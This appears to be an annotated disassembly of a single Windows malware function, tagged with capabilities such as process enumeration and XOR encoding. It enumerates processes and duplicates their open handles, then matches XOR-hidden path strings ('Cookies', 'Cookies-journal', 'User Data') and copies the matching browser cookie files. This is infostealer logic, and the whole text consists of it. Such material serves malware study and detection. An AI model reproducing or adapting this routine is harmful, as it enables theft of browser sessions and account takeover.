Function at 0x10006670
Capabilities:
Copy file
Encode data using xor
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c401c
mov eax, dword fs:[0]
push eax
sub esp, 0x350
mov eax, dword [0x10244540]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x298], edx
mov edi, ecx
mov dword [ebp - 0x280], edi
mov dword [ebp - 0x288], edi
mov eax, dword [ebp + 8]
xor esi, esi
push esi
mov dword [ebp - 0x294], edi
push 2
mov dword [ebp - 0x294], eax
mov dword [ebp - 0x27c], esi
mov dword [ebp - 0x2e0], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x284], eax
cmp eax, 0xffffffff
je 0x1000670a
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x274], 0x128
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x10006730
push dword [ebp - 0x284]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
mov ecx, edi
movups xmmword [edi], xmm0
push 0
mov dword [edi + 0x10], esi
push 0x101ebc35
mov dword [edi + 0x14], esi
call fcn.100191c0
mov eax, edi
jmp 0x10006f95
xorps xmm0, xmm0
mov dword [ebp - 0x2e8], 0
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x2e4], 0
movups xmmword [ebp - 0x2f8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10006757
sub ecx, edx
lea eax, [ebp - 0x250]
push ecx
push eax
lea ecx, [ebp - 0x2f8]
call fcn.100191c0
mov ecx, dword [ebp - 0x298]
lea edx, [ebp - 0x2f8]
call fcn.100047d0
mov ecx, dword [ebp - 0x2e4]
mov edi, eax
cmp ecx, 0xf
jbe 0x100067c0
mov edx, dword [ebp - 0x2f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100067b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000756d
push ecx
push edx
call fcn.1018eb3e
add esp, 8
test edi, edi
jne 0x10006f42
push dword [ebp - 0x26c]
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x28c], edi
test edi, edi
je 0x10006f42
lea eax, [ebp - 0x148]
mov dword [ebp - 0x148], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
test eax, eax
jne 0x10006815
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x10006f48
mov dword [ebp - 0x14c], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, 4
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x290], edi
push 2
push 0
push 0
lea ecx, [ebp - 0x14c]
push ecx
push eax
push edi
push dword [ebp - 0x28c]
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x10006f17
push dword [ebp - 0x14c]
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 1
jne 0x10006f0b
push 0
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x14c]
call dword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleA]
test eax, eax
je 0x10006f0b
xorps xmm0, xmm0
mov dword [ebp - 0x11c], 0
lea eax, [ebp - 0x114]
mov dword [ebp - 0x118], 0
movups xmmword [ebp - 0x12c], xmm0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100068b7
sub eax, edx
lea ecx, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.100191c0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x11c], 0
je 0x10006dac
mov dl, 0xc8
mov dword [ebp - 0x340], 0
mov al, dl
mov byte [ebp - 0x334], dl
xor al, 0x5c
mov dword [ebp - 0x33c], 0
mov byte [ebp - 0x30c], al
mov cl, dl
mov al, dl
mov dword [ebp - 0x338], 0
xor al, 0x43
mov dword [ebp - 0x344], 0x101ec268
mov byte [ebp - 0x30b], al
xor cl, 0x6f
mov al, dl
mov byte [ebp - 0x30a], cl
xor al, 0x6b
mov byte [ebp - 0x309], cl
mov byte [ebp - 0x308], al
xorps xmm0, xmm0
mov al, dl
mov byte [ebp - 0x302], cl
xor al, 0x69
mov byte [ebp - 0x2fc], 0
mov byte [ebp - 0x307], al
mov al, dl
xor al, 0x65
mov byte [ebp - 0x306], al
mov al, dl
xor al, 0x73
mov byte [ebp - 0x305], al
mov al, dl
xor al, 0x2d
mov byte [ebp - 0x304], al
mov al, dl
xor al, 0x6a
mov byte [ebp - 0x303], al
mov al, dl
xor al, 0x75
mov byte [ebp - 0x301], al
mov al, dl
xor al, 0x72
mov byte [ebp - 0x300], al
mov al, dl
xor al, 0x6e
mov byte [ebp - 0x2ff], al
mov al, dl
xor dl, 0x6c
xor al, 0x61
mov byte [ebp - 0x2fd], dl
xor edx, edx
movups xmmword [ebp - 0x330], xmm0
mov byte [ebp - 0x2fe], al
xor edi, edi
movups xmmword [ebp - 0x320], xmm0
nop dword [eax + eax]
mov eax, edi
add edi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0x330], eax
inc edx
cmp edx, 8
jb 0x100069d0
push 0x10
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x344]
call fcn.100046f0
mov dword [ebp - 0x310], eax
or esi, 2
mov byte [ebp - 4], 1
xor edx, edx
mov dword [ebp - 0x2e0], esi
xor edi, edi
nop dword [eax]
mov eax, edi
add edi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0x330], eax
inc edx
cmp edx, 8
jb 0x10006a40
mov eax, dword [ebp - 0x310]
mov ecx, dword [ebp - 0x33c]
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x33c], edi
mov dword [ebp - 0x338], eax
cmp edi, ecx
ja 0x10006b0d
push edi
call fcn.101a087d
add esp, 4
mov dword [ebp - 0x340], eax
test eax, eax
je 0x10006b0d
lea ecx, [edi - 8]
push ecx
mov ecx, dword [ebp - 0x310]
add ecx, 8
push ecx
push eax
call fcn.10190960
mov ecx, dword [ebp - 0x340]
lea eax, [ebp - 0x330]
push eax
push 0
lea edx, [edi - 8]
call fcn.10004600
mov edx, dword [ebp - 0x340]
add esp, 0x14
test edx, edx
je 0x10006b0d
movsx eax, byte [ebp - 0x334]
movd xmm0, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
movups xmm0, xmmword [edx]
xorps xmm1, xmm0
movups xmmword [edx], xmm1
mov byte [edx + 0x10], 0
jmp 0x10006b0f
xor edx, edx
mov ecx, edx
mov dword [ebp - 0x34c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x348], 0
movups xmmword [ebp - 0x35c], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10006b32
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x35c]
call fcn.100191c0
mov dword [ebp - 4], 2
lea edx, [ebp - 0x35c]
or esi, 4
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x27c], esi
call fcn.100047d0
cmp eax, 0xffffffff
jne 0x10006dac
mov cl, 0x26
mov dword [ebp - 0x2d8], 0
mov al, cl
mov byte [ebp - 0x2cc], cl
xor al, 0x5c
mov dword [ebp - 0x2d4], 0
mov byte [ebp - 0x2a4], al
xorps xmm0, xmm0
mov al, cl
mov dword [ebp - 0x2d0], 0
xor al, 0x43
mov dword [ebp - 0x2dc], 0x101ec17c
mov byte [ebp - 0x2a3], al
xor edx, edx
mov al, cl
mov byte [ebp - 0x29c], 0
xor al, 0x6f
mov byte [ebp - 0x2a2], al
mov byte [ebp - 0x2a1], al
mov al, cl
xor al, 0x6b
mov byte [ebp - 0x2a0], al
mov al, cl
xor al, 0x69
mov byte [ebp - 0x29f], al
mov al, cl
xor al, 0x65
xor cl, 0x73
movups xmmword [ebp - 0x2c8], xmm0
mov byte [ebp - 0x29e], al
xor edi, edi
movups xmmword [ebp - 0x2b8], xmm0
mov byte [ebp - 0x29d], cl
nop dword [eax]
mov eax, edi
add edi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0x2c8], eax
inc edx
cmp edx, 8
jb 0x10006c10
push 8
lea eax, [ebp - 0x2c8]
push eax
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.100046f0
mov dword [ebp - 0x2a8], eax
or esi, 8
mov dword [ebp - 4], 3
xor edx, edx
mov dword [ebp - 0x2e0], esi
xor edi, edi
nop
mov eax, edi
add edi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0x2c8], eax
inc edx
cmp edx, 8
jb 0x10006c80
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2d4]
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2d4], edi
mov dword [ebp - 0x2d0], eax
cmp edi, ecx
ja 0x10006d49
push edi
call fcn.101a087d
add esp, 4
mov dword [ebp - 0x2d8], eax
test eax, eax
je 0x10006d49
lea ecx, [edi - 8]
push ecx
mov ecx, dword [ebp - 0x2a8]
add ecx, 8
push ecx
push eax
call fcn.10190960
mov ecx, dword [ebp - 0x2d8]
lea eax, [ebp - 0x2c8]
push eax
push 0
lea edx, [edi - 8]
call fcn.10004600
mov ecx, dword [ebp - 0x2d8]
add esp, 0x14
test ecx, ecx
je 0x10006d49
mov al, byte [ebp - 0x2cc]
xor byte [ecx], al
xor byte [ecx + 1], al
xor byte [ecx + 2], al
xor byte [ecx + 3], al
xor byte [ecx + 4], al
xor byte [ecx + 5], al
xor byte [ecx + 6], al
xor byte [ecx + 7], al
mov byte [ecx + 8], 0
jmp 0x10006d4b
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x2e8], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2e4], 0
movups xmmword [ebp - 0x2f8], xmm0
lea edi, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x10006d70
sub edx, edi
push edx
push ecx
lea ecx, [ebp - 0x2f8]
call fcn.100191c0
or esi, 0x10
lea edx, [ebp - 0x2f8]
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x27c], esi
call fcn.100047d0
mov byte [ebp - 0x275], 1
cmp eax, 0xffffffff
jne 0x10006db3
mov byte [ebp - 0x275], 0
mov eax, dword [ebp - 0x27c]
test al, 0x10
je 0x10006e21
mov ecx, dword [ebp - 0x2e4]
and eax, 0xffffffef
mov dword [ebp - 0x27c], eax
cmp ecx, 0xf
jbe 0x10006e06
mov edx, dword [ebp - 0x2f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006df6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000756d
push ecx
push edx
call fcn.1018eb3e
mov eax, dword [ebp - 0x27c]
add esp, 8
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2e4], 0xf
mov byte [ebp - 0x2f8], 0
test al, 8
je 0x10006e2e
and eax, 0xfffffff7
mov dword [ebp - 0x27c], eax
mov dword [ebp - 4], 1
test al, 4
je 0x10006e82
mov ecx, dword [ebp - 0x348]
and eax, 0xfffffffb
mov dword [ebp - 0x27c], eax
cmp ecx, 0xf
jbe 0x10006e82
mov edx, dword [ebp - 0x35c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006e72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000756d
push ecx
push edx
call fcn.1018eb3e
mov eax, dword [ebp - 0x27c]
add esp, 8
mov dword [ebp - 4], 0
test al, 2
je 0x10006e96
and eax, 0xfffffffd
mov dword [ebp - 0x27c], eax
cmp byte [ebp - 0x275], 0
jne 0x10006fb0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x118]
cmp ecx, 0xf
jbe 0x10006ee4
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006eda
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007572
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov esi, dword [ebp - 0x27c]
mov edi, dword [ebp - 0x290]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
push dword [ebp - 0x14c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x288]
add edi, 4
mov dword [ebp - 0x290], edi
cmp edi, 0x10000
jb 0x10006836
push dword [ebp - 0x28c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x10006f48
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x274]
push eax
push dword [ebp - 0x284]
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10006730
push dword [ebp - 0x284]
call edi
mov esi, dword [ebp - 0x280]
xorps xmm0, xmm0
push 0
push 0x101ebc35
mov ecx, esi
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.100191c0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1018e7c9
mov esp, ebp
pop ebp
ret
mov cl, 0x1e
mov dword [ebp - 0x2d8], 0
mov al, cl
mov byte [ebp - 0x2cc], cl
xor al, 0x5c
mov dword [ebp - 0x2d4], 0
mov byte [ebp - 0x2a4], al
xorps xmm0, xmm0
mov al, cl
mov dword [ebp - 0x2d0], 0
xor al, 0x55
mov dword [ebp - 0x2dc], 0x101ec22c
mov byte [ebp - 0x2a3], al
xor edx, edx
mov al, cl
mov byte [ebp - 0x29a], 0
xor al, 0x73
mov byte [ebp - 0x2a2], al
mov al, cl
xor al, 0x65
mov byte [ebp - 0x2a1], al
mov al, cl
xor al, 0x72
mov byte [ebp - 0x2a0], al
mov al, cl
xor al, 0x20
mov byte [ebp - 0x29f], al
mov al, cl
xor al, 0x44
mov byte [ebp - 0x29e], al
mov al, cl
xor al, 0x61
xor cl, 0x74
movups xmmword [ebp - 0x2c8], xmm0
mov byte [ebp - 0x29d], al
xor esi, esi
movups xmmword [ebp - 0x2b8], xmm0
mov byte [ebp - 0x29c], cl
mov byte [ebp - 0x29b], al
nop dword [eax + eax]
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0x2c8], eax
inc edx
cmp edx, 8
jb 0x10007060
push 0xa
lea eax, [ebp - 0x2c8]
push eax
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.100046f0
mov dword [ebp - 0x2a8], eax
xor edx, edx
mov byte [ebp - 4], 4
xor esi, esi
mov eax, esi
add esi, 0x5bd1e995
xor eax, 0xb895047e
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
sar eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
sar eax, 0xf
xor eax, ecx
mov dword [ebp + edx*4 - 0x2c8], eax
inc edx
cmp edx, 8
jb 0x100070c3
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2d4]
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2d4], esi
mov dword [ebp - 0x2d0], eax
cmp esi, ecx
ja 0x1000718f
push esi
call fcn.101a087d
mov edi, eax
add esp, 4
mov dword [ebp - 0x2d8], edi
test edi, edi
je 0x1000718f
mov ecx, dword [ebp - 0x2a8]
add esi, 0xfffffff8
push esi
add ecx, 8
push ecx
push edi
call fcn.10190960
lea eax, [ebp - 0x2c8]
mov edx, esi
push eax
push 0
mov ecx, edi
call fcn.10004600
mov ecx, dword [ebp - 0x2d8]
add esp, 0x14
test ecx, ecx
je 0x1000718f
mov al, byte [ebp - 0x2cc]
xor byte [ecx], al
xor byte [ecx + 1], al
xor byte [ecx + 2], al
xor byte [ecx + 3], al
xor byte [ecx + 4], al
xor byte [ecx + 5], al
xor byte [ecx + 6], al
xor byte [ecx + 7], al
xor byte [ecx + 8], al
xor byte [ecx + 9], al
mov byte [ecx + 0xa], 0
jmp 0x10007191
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x134], 0
xorps xmm0, xmm0
mov dword [ebp - 0x130], 0
movups xmmword [ebp - 0x144], xmm0
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x100071b4
sub edx, esi
push edx
push ecx
lea ecx, [ebp - 0x144]
call fcn.100191c0
lea edx, [ebp - 0x12c]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x35c]
call fcn.10006190
push eax
lea ecx, [ebp - 0x12c]
call fcn.10017500
mov ecx, dword [ebp - 0x348]
cmp ecx, 0xf
jbe 0x10007225
mov edx, dword [ebp - 0x35c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000721b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000756d
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov esi, dword [ebp - 0x294]
sub esp, 0x18
mov ecx, esp
push esi
call fcn.100175c0
mov ecx, dword [ebp - 0x14c]
call fcn.10006430
add esp, 0x18
test eax, eax
jne 0x1000733f
cmp dword [esi + 0x14], 0xf
jbe 0x10007254
mov esi, dword [esi]
cmp dword [ebp - 0x118], 0xf
lea eax, [ebp - 0x12c]
push 0
cmova eax, dword [ebp - 0x12c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1000733f
push dword [ebp - 0x14c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x28c]
call esi
push dword [ebp - 0x284]
call esi
mov eax, dword [ebp - 0x280]
xorps xmm0, xmm0
push 0
push 0x101ebc35
mov ecx, eax
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
call fcn.100191c0
mov ecx, dword [ebp - 0x130]
cmp ecx, 0xf
jbe 0x100072fa
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100072f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007572
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov ecx, dword [ebp - 0x118]
cmp ecx, 0xf
jbe 0x10007334
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000732a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007572
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov esi, dword [ebp - 0x280]
jmp 0x10006f93
push dword [ebp - 0x14c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x28c]
call esi
push dword [ebp - 0x284]
call esi
cmp dword [ebp - 0x130], 0xf
lea ecx, [ebp - 0x144]
mov eax, dword [ebp - 0x11c]
lea edx, [ebp - 0x12c]
cmova ecx, dword [ebp - 0x144]
cmp dword [ebp - 0x118], 0xf
mov esi, dword [ebp - 0x134]
cmova edx, dword [ebp - 0x12c]
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x290], edx
cmp esi, eax
ja 0x1000746d
sub eax, esi
test esi, esi
jne 0x100073b2
xor edi, edi
jmp 0x1000750c
movsx ecx, byte [ecx]
inc eax
add eax, edx
mov dword [ebp - 0x298], ecx
mov dword [ebp - 0x288], eax
sub eax, edx
push eax
push ecx
push edx
call fcn.101916e0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x1000746d
nop dword [eax + eax]
mov edx, dword [ebp - 0x294]
mov ecx, edi
sub esi, 4
jb 0x10007401
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x10007406
add ecx, 4
add edx, 4
sub esi, 4
jae 0x100073f0
cmp esi, 0xfffffffc
je 0x1000743a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10007433
cmp esi, 0xfffffffd
je 0x1000743a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10007433
cmp esi, 0xfffffffe
je 0x1000743a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x10007433
cmp esi, 0xffffffff
je 0x1000743a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x1000743a
sbb eax, eax
or eax, 1
jmp 0x1000743c
xor eax, eax
test eax, eax
je 0x100074f7
mov eax, dword [ebp - 0x288]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x298]
push edi
call fcn.101916e0
mov esi, dword [ebp - 0x134]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x100073e0
mov esi, dword [ebp - 0x280]
lea eax, [ebp - 0x12c]
push eax
mov ecx, esi
call fcn.100175c0
mov eax, dword [ebp - 0x130]
cmp eax, 0xf
jbe 0x100074bd
mov edx, dword [ebp - 0x144]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x100074b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007572
push ecx
push edx
call fcn.1018eb3e
add esp, 8
mov ecx, dword [ebp - 0x118]
cmp ecx, 0xf
jbe 0x10006f93
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000755e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10007572
jmp 0x1000755e
sub edi, dword [ebp - 0x290]
cmp edi, 0xffffffff
je 0x1000746d
mov esi, dword [ebp - 0x134]
mov edx, dword [ebp - 0x280]
lea ecx, [edi + esi]
cmp dword [ebp - 0x11c], ecx
lea eax, [ebp - 0x12c]
xorps xmm0, xmm0
cmovb ecx, dword [ebp - 0x11c]
cmp dword [ebp - 0x118], 0xf
push ecx
cmova eax, dword [ebp - 0x12c]
mov ecx, edx
movups xmmword [edx], xmm0
push eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
call fcn.100191c0
mov esi, dword [ebp - 0x280]
jmp 0x10007481
push ecx
push edx
call fcn.1018eb3e
add esp, 8
jmp 0x10006f93
call fcn.1019b181
call fcn.1019b181
int3